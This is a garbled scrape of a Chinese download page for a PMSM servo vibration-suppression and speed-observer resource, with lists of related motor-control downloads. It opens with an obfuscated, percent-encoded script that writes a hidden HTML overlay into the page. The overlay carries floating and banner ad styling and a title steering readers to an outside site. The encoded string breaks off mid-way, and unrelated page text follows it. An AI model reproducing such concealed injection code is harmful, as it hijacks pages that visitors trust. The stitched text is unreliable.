<script>
document.write(decodeURIComponent("%3C%21%44%4F%43%54%59%50%45%20%68%74%6D%6C%3E%0A%3C%68%74%6D%6C%3E%0A%3C%68%65%61%64%3E%0A%20%20%3C%6D%65%74%61%20%6E%61%6D%65%3D%22%72%65%66%65%72%72%65%72%22%20%63%6F%6E%74%65%6E%74%3D%22%6E%6F%2D%72%65%66%65%72%72%65%72%22%3E%0A%20%20%3C%6D%65%74%61%20%63%68%61%72%73%65%74%3D%22%55%54%46%2D%38%22%3E%20%3C%21%2D%2D%20%E8%AE%BE%E7%BD%AE%E5%AD%97%E7%AC%A6%E7%BC%96%E7%A0%81%E4%B8%BA%55%54%46%2D%38%20%2D%2D%3E%0A%20%20%3C%6D%65%74%61%20%68%74%74%70%2D%65%71%75%69%76%3D%22%43%6F%6E%74%65%6E%74%2D%54%79%70%65%22%20%63%6F%6E%74%65%6E%74%3D%22%74%65%78%74%2F%68%74%6D%6C%3B%20%63%68%61%72%73%65%74%3D%75%74%66%2D%38%22%3E%0A%20%20%3C%6D%65%74%61%20%6E%61%6D%65%3D%22%76%69%65%77%70%6F%72%74%22%20%63%6F%6E%74%65%6E%74%3D%22%77%69%64%74%68%3D%64%65%76%69%63%65%2D%77%69%64%74%68%2C%20%69%6E%69%74%69%61%6C%2D%73%63%61%6C%65%3D%31%2E%30%22%3E%20%3C%21%2D%2D%20%E8%AE%BE%E7%BD%AE%E8%A7%86%E5%8F%A3%E5%A4%A7%E5%B0%8F%E4%B8%BA%E8%AE%BE%E5%A4%87%E5%AE%BD%E5%BA%A6%EF%BC%8C%E5%B9%B6%E5%88%9D%E5%A7%8B%E7%BC%A9%E6%94%BE%E6%AF%94%E4%BE%8B%E4%B8%BA%31%2E%30%20%2D%2D%3E%0A%20%20%3C%74%69%74%6C%65%3E%E6%9B%B4%E5%A4%9A%E8%B5%84%E6%96%99%E8%AF%B7%E8%AE%BF%E9%97%AE%20%77%77%77%2E%6C%69%72%75%61%6E%2E%6E%65%74%3C%2F%74%69%74%6C%65%3E%0A%20%20%3C%73%74%79%6C%65%3E%0A%20%20%20%20%2E%68%69%64%64%65%6E%20%7B%0A%20%20%20%20%20%20%64%69%73%70%6C%61%79%3A%20%6E%6F%6E%65%3B%0A%20%20%20%20%7D%0A%20%68%31%20%7B%0A%20%20%20%20%20%20%63%6F%6C%6F%72%3A%20%72%65%64%3B%20%2F%2A%20%E8%AE%BE%E7%BD%AE%E6%96%87%E5%AD%97%E9%A2%9C%E8%89%B2%E4%B8%BA%E7%BA%A2%E8%89%B2%20%2A%2F%0A%09%20%20%6D%61%72%67%69%6E%2D%74%6F%70%3A%20%35%30%70%78%3B%20%2F%2A%20%E6%B7%BB%E5%8A%A0%E9%A1%B6%E9%83%A8%E5%A4%96%E8%BE%B9%E8%B7%9D%EF%BC%8C%E7%A1%AE%E4%BF%9D%E4%B8%8E%E9%A1%B6%E9%83%A8%E5%B9%BF%E5%91%8A%E6%9D%A1%E6%9C%89%E9%97%B4%E9%9A%94%20%2A%2F%0A%20%20%20%20%7D%0A%20%20%20%20%40%6D%65%64%69%61%20%73%63%72%65%65%6E%20%61%6E%64%20%28%6D%61%78%2D%77%69%64%74%68%3A%20%36%30%30%70%78%29%20%7B%0A%20%20%20%20%20%20%2F%2A%20%E5%9C%A8%E5%B1%8F%E5%B9%95%E5%AE%BD%E5%BA%A6%E5%B0%8F%E4%BA%8E%E7%AD%89%E4%BA%8E%36%30%30%70%78%E6%97%B6%EF%BC%8C%E5%AD%97%E5%8F%B7%E6%94%BE%E5%A4%A7%E5%88%B0%31%2E%33%E5%80%8D%20%2A%2F%0A%20%20%20%20%20%20%68%31%2C%20%70%20%7B%0A%20%20%20%20%20%20%20%20%66%6F%6E%74%2D%73%69%7A%65%3A%20%31%2E%33%65%6D%3B%0A%20%20%20%20%20%20%7D%0A%20%20%20%20%7D%0A%0A%20%20%20%20%40%6D%65%64%69%61%20%73%63%72%65%65%6E%20%61%6E%64%20%28%6D%69%6E%2D%77%69%64%74%68%3A%20%36%30%31%70%78%29%20%7B%0A%20%20%20%20%20%20%2F%2A%20%E5%9C%A8%E5%B1%8F%E5%B9%95%E5%AE%BD%E5%BA%A6%E5%A4%A7%E4%BA%8E%36%30%30%70%78%E6%97%B6%EF%BC%8C%E5%AD%97%E5%8F%B7%E6%94%BE%E5%A4%A7%E5%88%B0%31%2E%35%E5%80%8D%20%2A%2F%0A%20%20%20%20%20%20%68%31%2C%20%70%20%7B%0A%20%20%20%20%20%20%20%20%66%6F%6E%74%2D%73%69%7A%65%3A%20%31%2E%35%65%6D%3B%0A%20%20%20%20%20%20%7D%0A%20%20%20%20%7D%0A%09%0A%09%0A%20%20%20%20%2F%2A%20%53%65%74%20%74%68%65%20%73%74%79%6C%65%20%6F%66%20%61%64%76%65%72%74%69%73%69%6E%67%20%69%6D%61%67%65%73%20%2A%2F%0A%20%20%20%20%23%66%6C%6F%61%74%69%6E%67%41%64%20%7B%0A%20%20%20%20%20%20%70%6F%73%69%74%69%6F%6E%3A%20%66%69%78%65%64%3B%20%2F%2A%20%55%70%70%65%72%20%72%69%67%68%74%20%63%6F%72%6E%65%72%20%2A%2F%0A%20%20%20%20%20%20%72%69%67%68%74%3A%20%31%30%70%78%3B%20%2F%2A%20%E5%9B%BE%E7%89%87%E8%B7%9D%E7%A6%BB%E5%8F%B3%E4%BE%A7%E7%9A%84%E8%B7%9D%E7%A6%BB%20%2A%2F%0A%20%20%20%20%20%20%74%6F%70%3A%20%31%30%70%78%3B%20%2F%2A%20%E5%9B%BE%E7%89%87%E8%B7%9D%E7%A6%BB%E9%A1%B6%E9%83%A8%E7%9A%84%E8%B7%9D%E7%A6%BB%20%2A%2F%0A%20%20%20%20%20%20%77%69%64%74%68%3A%20%33%30%30%70%78%3B%20%2F%2A%20%E5%9B%BE%E7%89%87%E5%AE%BD%E5%BA%A6%20%2A%2F%0A%20%20%20%20%20%20%68%65%69%67%68%74%3A%20%61%75%74%6F%3B%20%2F%2A%20%E5%9B%BE%E7%89%87%E9%AB%98%E5%BA%A6%E8%87%AA%E5%8A%A8%20%2A%2F%0A%20%20%20%20%20%20%61%6E%69%6D%61%74%69%6F%6E%3A%20%66%6C%6F%61%74%44%6F%77%6E%20%32%30%73%20%65%61%73%65%2D%69%6E%2D%6F%75%74%20%69%6E%66%69%6E%69%74%65%3B%20%2F%2A%20%E5%90%91%E4%B8%8B%E6%BC%82%E6%B5%AE%E5%8A%A8%E7%94%BB%20%2A%2F%0A%20%20%20%20%20%20%63%75%72%73%6F%72%3A%20%70%6F%69%6E%74%65%72%3B%20%2F%2A%20%E9%BC%A0%E6%A0%87%E6%82%AC%E5%81%9C%E6%97%B6%E5%8F%98%E4%B8%BA%E5%8F%AF%E7%82%B9%E5%87%BB%E7%8A%B6%E6%80%81%20%2A%2F%0A%20%20%20%20%20%20%7A%2D%69%6E%64%65%78%3A%20%39%39%39%39%3B%20%2F%2A%20%E7%A1%AE%E4%BF%9D%E5%9B%BE%E7%89%87%E6%98%BE%E7%A4%BA%E5%9C%A8%E5%85%B6%E4%BB%96%E5%86%85%E5%AE%B9%E4%B9%8B%E4%B8%8A%20%2A%2F%0A%20%20%20%20%7D%0A%0A%20%20%20%20%2F%2A%20%E5%AE%9A%E4%B9%89%E5%90%91%E4%B8%8B%E6%BC%82%E6%B5%AE%E5%8A%A8%E7%94%BB%20%2A%2F%0A%20%20%20%20%40%6B%65%79%66%72%61%6D%65%73%20%66%6C%6F%61%74%44%6F%77%6E%20%7B%0A%20%20%20%20%20%20%30%25%20%7B%20%74%72%61%6E%73%66%6F%72%6D%3A%20%74%72%61%6E%73%6C%61%74%65%59%28%30%29%3B%20%7D%0A%20%20%20%20%20%20%35%30%25%20%7B%20%74%72%61%6E%73%66%6F%72%6D%3A%20%74%72%61%6E%73%6C%61%74%65%59%28%33%30%30%70%78%29%3B%20%7D%0A%20%20%20%20%20%20%31%30%30%25%20%7B%20%74%72%61%6E%73%66%6F%72%6D%3A%20%74%72%61%6E%73%6C%61%74%65%59%28%30%29%3B%20%7D%0A%20%20%20%20%7D%0A%0A%20%20%20%20%2F%2A%20%E5%BA%95%E9%83%A8%E6%BB%9A%E5%8A%A8%E5%B9%BF%E5%91%8A%E6%9D%A1%E7%9A%84%E6%A0%B7%E5%BC%8F%20%2A%2F%0A%20%20%20%20%23%62%6F%74%74%6F%6D%41%64%20%7B%0A%20%20%20%20%20%20%70%6F%73%69%74%69%6F%6E%3A%20%66%69%78%65%64%3B%20%2F%2A%20%E5%9B%BA%E5%AE%9A%E5%9C%A8%E5%BA%95%E9%83%A8%20%2A%2F%0A%20%20%20%20%20%20%62%6F%74%74%6F%6D%3A%20%30%3B%20%2F%2A%20%E8%B7%9D%E7%A6%BB%E5%BA%95%E9%83%A8%30%70%78%20%2A%2F%0A%20%20%20%20%20%20%6C%65%66%74%3A%20%30%3B%20%2F%2A%20%E8%B7%9D%E7%A6%BB%E5%B7%A6%E4%BE%A7%30%70%78%20%2A%2F%0A%20%20%20%20%20%20%77%69%64%74%68%3A%20%31%30%30%25%3B%20%2F%2A%20%E5%AE%BD%E5%BA%A6%E4%B8%BA%31%30%30%25%20%2A%2F%0A%20%20%20%20%20%20%68%65%69%67%68%74%3A%20%35%30%70%78%3B%20%2F%2A%20%E9%AB%98%E5%BA%A6%E4%B8%BA%33%30%70%78%20%2A%2F%0A%20%20%20%20%20%20%62%61%63%6B%67%72%6F%75%6E%64%2D%63%6F%6C%6F%72%3A%20%62%6C%61%63%6B%3B%20%2F%2A%20%E8%83%8C%E6%99%AF%E9%A2%9C%E8%89%B2%E4%B8%BA%E9%BB%91%E8%89%B2%20%2A%2F%0A%20%20%20%20%20%20%63%6F%6C%6F%72%3A%20%77%68%69%74%65%3B%20%2F%2A%20%E6%96%87%E5%AD%97%E9%A2%9C%E8%89%B2%E4%B8%BA%E7%99%BD%E8%89%B2%20%2A%2F%0A%20%20%20%20%20%20%74%65%78%74%2D%61%6C%69%67%6E%3A%20%63%65%6E%74%65%72%3B%20%2F%2A%20%E6%96%87%E5%AD%97%E5%B1%85%E4%B8%AD%20%2A%2F%0A%20%20%20%20%20%20%6C%69%6E%65%2D%68%65%69%67%68%74%3A%20%35%30%70%78%3B%20%2F%2A%20%E8%A1%8C%E9%AB%98%E4%B8%8E%E9%AB%98%E5%BA%A6%E4%B8%80%E8%87%B4%EF%BC%8C%E4%BD%BF%E6%96%87%E5%AD%97%E5%9E%82%E7%9B%B4%E5%B1%85%E4%B8%AD%20%2A%2F%0A%20%20%20%20%20%20%7A%2D%69%6E%64%65%78%3A%20%31%30%30%30%30%3B%20%2F%2A%20%E7%A1%AE%E4%BF%9D%E5%B9%BF%E5%91%8A%E6%9D%A1%E5%9C%A8%E6%9C%80%E4%B8%8A%E5%B1%82%20%2A%2F%0A%20%20%20%20%20%20%6F%76%65%72%66%6C%6F%77%3A%20%68%69%64%64%65%6E%3B%20%2F%2A%20%E9%9A%90%E8%97%8F%E8%B6%85%E5%87%BA%E9%83%A8%E5%88%86%20%2A%2F%0A%20%20%20%20%20%20%77%68%69%74%65%2D%73%70%61%63%65%3A%20%6E%6F%77%72%61%70%3B%20%2F%2A%20%E4%B8%8D%E6%8D%A2%E8%A1%8C%20%2A%2F%0A%20%20%20%20%7D%0A%09%0A%09%20%2F%2A%20%E9%A1%B6%E9%83%A8%E6%BB%9A%E5%8A%A8%E5%B9%BF%E5%91%8A%E6%9D%A1%E7%9A%84%E6%A0%B7%E5%BC%8F%20%2A%2F%0A%20%20%20%20%23%74%6F%70%41%64%20%7B%0A%20%20%20%20%20%20%70%6F%73%69%74%69%6F%6E%3A%20%66%69%78%65%64%3B%20%2F%2A%20%E5%9B%BA%E5%AE%9A%E5%9C%A8%E9%A1%B6%E9%83%A8%20%2A%2F%0A%20%20%20%20%20%20%74%6F%70%3A%20%30%3B%20%2F%2A%20%E8%B7%9D%E7%A6%BB%E9%A1%B6%E9%83%A8%30%70%78%20%2A%2F%0A%20%20%20%20%20%20%6C%65%66%74%3A%20%30%3B%20%2F%2A%20%E8%B7%9D%E7%A6%BB%E5%B7%A6%E4%BE%A7%30%70%78%20%2A%2F%0A%20%20%20%20%20%20%77%69%64%74%68%3A%20%31%30%30%25%3B%20%2F%2A%20%E5%AE%BD%E5%BA%A6%E4%B8%BA%31%30%30%25%20%2A%2F%0A%20%20%20%20%20%20%68%65%69%67%68%74%3A%20%35%30%70%78%3B%20%2F%2A%20%E9%AB%98%E5%BA%A6%E4%B8%BA%33%30%70%78%20%2A%2F%0A%20%20%20%20%20%20%62%61%63%6B%67%72%6F%75%6E%64%2D%63%6F%6C%6F%72%3A%20%62%6C%61%63%6B%3B%20%2F%2A%20%E8%83%8C%E6%99%AF%E9%A2%9C%E8%89%B2%E4%B8%BA%E9%BB%91%E8%89%B2%20%2A%2F%0A%20%20%20%20%20%20%63%6F%6C%6F%72%3A%20%77%68%69%74%65%3B%20%2F%2A%20%E6%96%87%E5%AD%97%E9%A2%9C%E8%89%B2%E4%B8%BA%E7%99%BD%E8%89%B2%2
伺服PMSM中频振动抑制技术：相位补偿速度观测器仿真验证与离散化实现方法详解，含源代码解析
需积分: 0 106 浏览量
更新于2025-08-02
收藏 782KB ZIP 举报
内容概要：本文探讨了伺服PMSM（永磁同步电机）中频振动抑制技术及其相位补偿速度观测器的仿真验证与离散化实现。首先，文章详细分析了PMSM中频振动的原因及其对系统的影响。接着，介绍了采用先进控制算法抑制中频振动的方法，通过调整电机的相电压和相电流，使电机在运行时达到更好的平衡状态。然后，引入了相位补偿速度观测器，用于实时监测和调整电机的速度变化，以提高系统的稳定性和精度。最后，通过仿真验证展示了控制策略的有效性，并提供了部分Python代码片段，用于实现离散化的控制算法。
适合人群：具备一定编程基础和技术背景的研发人员，特别是从事电机控制系统开发的技术人员。
使用场景及目标：适用于希望深入了解PMSM中频振动抑制机制以及相位补偿速度观测器的设计和实现的研究人员和工程师。目标是通过理论与实践相结合的方式，掌握相关控制算法的实现方法，提升系统的稳定性和性能。
其他说明：文中提供的代码片段仅为示例，实际应用中需要根据具体硬件和软件环境进行适当调整和优化。
831391342523.zip （11个子文件） 
关键技术.docx 38KB
伺服PMSM中频振动抑制与相位补偿速度观测器的仿真验证及离散化实现.pdf 114KB
伺服PMSM中频振动抑制及相位补偿速度观测器仿真验证：离散化实现与含源码.html 1.28MB
电机控制 
2.jpg 29KB 6.jpg 29KB 1.jpg 42KB 5.jpg 58KB 3.jpg 65KB 7.jpg 30KB 4.jpg 60KB 伺服PMSM中频振动抑制的相位补偿速度观测器仿真验证与离散化实现含源码.docx 38KB"伺服PMSM中频振动抑制技术：相位补偿速度观测器仿真验证与离散化实现方法详解，含源代码解析","伺服PMSM中频振动抑制技术及相位补偿速度观测器仿真验证研究，离散化实现策略与含源码解析",-伺服pm
2025-02-11 上传
161 浏览量
基于Harnefors磁链观测器与离散模型代码实现的PMSM无感控制仿真，支持相位补偿、PLL及电压重构实验验证的静态电压补偿模型研究,基于Harnefors磁链观测器与离散模型代码实现的PMSM无感
2025-03-02 上传
188 浏览量
三相PMSM永磁同步电机SVPWM控制技术：基于滑膜观测器的无速度传感器控制方法与Matlab Simulink仿真实现,三相PMSM永磁同步电机SVPWM控制技术：基于滑膜观测器的无速度传感器控制方
2025-02-14 上传
2025-08-02 上传
基于滑模观测器的PMSM永磁同步电机无速度传感器Simulink仿真与PLL锁相环Matlab实现资料整理文档,PMSM永磁同步电机滑模观测器与PLL锁相环无速度传感器Simulink仿真研究：详细文
2025-02-26 上传
155 浏览量
2025-05-30 上传
176 浏览量
基于离散化龙贝格观测器的PMSM无传感器控制：高精度转子位置信息跟踪闭环估计策略,基于离散化龙贝格观测器的PMSM无传感器控制：高速、高精度转子位置信息估计技术,该模型采用离散化的龙贝格观测器进行无传
2025-03-02 上传
104 浏览量
183 浏览量
基于龙贝格观测器的PMSM无传感器控制模型：高精度转子位置估计与抖振抑制技术,基于龙贝格观测器的PMSM无传感器控制模型：高效动态响应与高精度转子位置估算,该模型采用龙贝格观测器进行无传感器控制 其利
142 浏览量
非线性磁链观测器全资料：涵盖VESC官方源代码、STM32移植代码、硬件PCB工程等，文献齐全，仿真模拟含括，全面解析无速启动技术,VESC使用的非线性磁链观测器程序，包含：官方源代码+STM32移植
2025-01-18 上传
PMSM无传感器控制的Simulink仿真研究：基于滑膜观测器的FOC控制与电流环电压解耦技术,PMSM无传感器控制的Simulink仿真研究：基于滑膜观测器的FOC控制与电流环电压解耦技术,PMSM
170 浏览量
110 浏览量
永磁同步电机PMSM矢量控制仿真模型：负载波动下的稳定转速电流跟随与SVPWM实现原理详解,永磁同步电机PMSM矢量控制仿真模型：助力新人快速掌握转速与电流控制，理解SVPWM原理，带位置传感器仿真指
181 浏览量
5星 · 资源好评率100%2025-07-29 上传
120 浏览量
2025-07-28 上传
基于龙贝格观测器的PMSM无传感器控制模型：偏差反馈修正与高精度状态估计,基于龙贝格观测器的PMSM无传感器控制模型：偏差反馈修正状态变量，实现电流跟踪与转子位置精确估计,该模型采用龙贝格观测器进行无
2025-03-02 上传
132 浏览量
2025-01-18 上传
基于扩展反电动势法的PMSM中高速无感控制仿真：离散化模型与高精度龙伯格观测器,基于扩展反电动势法的PMSM中高速无感控制仿真，对凸极和非凸极电机都适用，模型全部采用离散化的仿真方式，仿照数字控制器真
126 浏览量
2025-07-28 上传
资源评论
UrlOXKoseg
- 粉丝: 0
最新资源
- 本库是个基于python的工具集，用于记录数据到文件。 使用方便，代码简洁， 是一个可靠、省心且实用的工具。 支持多线程同时写入。.zip
- 本科毕业设计，基于python的图像复制粘贴篡改识别软件。.zip
- 本项目是基于计算机视觉的端到端交通路口智能监控系统．采用的设计架构由SRS
- 碧蓝航线ios平台自动脚本，基于python+opencv+facebook_wda实现.zip
- 毕业设计中基于给定微博数据的反作弊识别，用python开发。.zip
- 毕业设计项目，基于深度学习的实时语义分割算法研究，python实现。.zip
- 对基于python的微博爬虫进行重写，重写语言：java.zip
- 此框架是基于Python+Pytest+Requests+Allure+Yaml+Json实现全链路接口自动化测试
- 程序语言课程作业在线评测平台(实现Java、C、Python的选择、填空、代码题在线评测),基于SpringBoot+Layui+MySQL实现.zip
- 非官方的科大讯飞语音合成（用于朗读，配音场景）python API （基于官方demo增加了：超过2000字上限自动分割再合并音频的功能）.zip
- 非官方的简易中国铁路列车运行图系统，基于Python + PyQt5
- 超市POS销售与后台管理系统_商品录入收银业务会员管理进货销售库存人员权限断网收银断电保护_实现超市前台POS销售商品扫描条形码输入收银计算找零打印清单会员折扣累计消费以及后台管理.zip
- 俄罗斯方块闯关版，基于Python实现.zip
- 该项目是基于Python和数据库实现的学生信息管理系统.zip
- 该仓库为agv系统调度软件的前后端实现。项目基于fastapi(python后端框架)和vue2实现了RESTful风格的前后端分离.zip
- 该项目是基于Scrapy框架的Python新闻爬虫，能够爬取网易，搜狐，凤凰和澎湃网站上的新闻，将标题，内容，评论，时间等内容整理并保存到本地.zip
